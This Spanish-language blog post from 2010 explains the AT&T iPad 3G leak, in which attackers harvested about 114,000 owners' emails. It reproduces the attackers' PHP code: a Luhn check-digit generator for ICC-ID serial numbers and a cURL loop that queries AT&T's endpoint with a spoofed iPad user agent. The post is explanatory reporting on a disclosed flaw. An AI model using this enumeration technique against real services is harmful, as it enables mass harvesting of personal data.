11 junio 2010

¿Buscas 114.000 correos de gente influyente? Razón: AT&T

Ahí es nada! Gracias al modo de registro de los Ipad con 3G comprados en Estados Unidos, un grupo de hackers llamado Goatse Security han podido extraer, los correos electrónicos de, atención!!, hasta 114.000 personas...

Además, dado lo novedoso del gadget de la marca de la manzana mordida, los correos obtenidos son de personas relevantes en el mundo tecnológico y los negocios, es decir, aquellos "privilegiados" que han recibido un Ipad de forma anticipada, antes de su lanzamiento público, generalmente usuarios VIP. ¿Estará el de Enrique Dans entre ellos?

Pero ¿cómo es esto posible?

Fundamentalmente, gracias a un pobre diseño en la web del operador en exclusiva en el país del tío Sam para vender el Ipad 3G: AT&T. No es la primera vez que la compañía de comunicaciones tiene algún desliz conocido en sus páginas PHP.

En este caso, resulta que mediante la web del citado operador, es/era posible, enviando el ICC-ID (número de serie de cada Ipad), obtener en la respuesta, el nombre y correo electrónico del dueño del famoso gadget:

En realidad, una página redirigía a la otra mediante Javascript, pero podía simularse haciendo dos peticiones consecutivas, obteniendo finalmente los datos.

La URL inicial que lo que pedías tenía este formato:
https://dcp2.att.com/OEPClient/openPage?ICCID=<aqui_va_el_numero_de_serie>&IMEI=0
La URL a la que se redirigía era:
https://dcp2.att.com/OEPClient/Customer
Así pues, para generar números de serie válidos, se basaron en aquellos publicados por los geeks que hacían fotos o capturas de pantalla (tan comunes entre gente que quieren mostrar al mundo que tiene un IPad), de sus dispositivos o la pantalla "Ajustes -> General" para generar la base de un número de serie válido.

A partir de ahí, crearon un script en PHP que, a partir de esa base, generaba números de serie y preguntaba al servidor de AT&T quien era su dueño y su correo.

Aquí tenéis la función que generaba números de serie:

function genluhn($number){ //Crappy home-made Luhn checkdigit generator
    $i = strlen($number)-1;
    do {
        $array[] = $number[$i];
        $i--;
    } while ($i > -1);
    $i = 0;
    foreach ($array as $digit) {
        if (!($i & 1)){
            $digit = $digit * 2;
            if ($digit >= 10) {
                $digit = $digit - 9;
            }
        }
        $total += $digit;
        $i++;
    }
$luhn = 10 - ($total % 10);
if ($luhn == 10) $luhn=0;
return $luhn;
}

Había que tener en cuenta que en la petición, era necesario que la cabecera UserAgent tuviera el formato que utiliza Ipad "Mozilla/5.0 (iPad)" y el resto se limitaba a hacer un bucle que fuera generando números de serie, preguntando al servidor y guardando las respuestas.

    $ICCID = $ICCIDroot.genluhn(strval($ICCIDroot)); //Generate checkdigit and attach it to 
the ICCID
    curl_setopt($ch, CURLOPT_URL, "https://dcp2.att.com/OEPClient/openPage?ICCID=".strval($ICCID)."&IMEI=0");
    $output = curl_exec($ch); //Load first page with ICCID
    curl_setopt($ch, CURLOPT_URL, "https://dcp2.att.com/OEPClient/Customer");
    $output = curl_exec($ch); //Now load page that is normally redirected with JavaScript. 
cURL is nice and passes the previously GET'd info
    curl_close($ch);
El script completo que podéis ver aquí añade detalles de formato para mostrar datos en caso que un número de serie fuera correcto o no.

Así se hicieron con 114.000 contactos de VIPs de la talla del CEO de New York Times, del de Dow Jones, del fundador de Bloomberg...



Lo que darían ciertas empresas y mafias organizadas de ciberdelicuentes por esos 114.000 contactos de peces gordos con información confidencial y útil en sus PCs.

¿Os imagináis una campaña de phising o ingeniería social correctamente dirigida contra los contactos adecuados? ¿Qué supondría instalar un troyano especialmente creado incluso para los Ipad de este tipo de personajes? ¿Es una muestra más de APT?

1 comments :

Rigolox dijo...

Hasta que las grandes compañías no estén concienciadas sobre la seguridad web y no web la cosa seguirá igual.

Habrá que empezar de las pequeñas a las grandes pero ...

Por cierto el código completo lo han debido quitar.

Buen fin de semana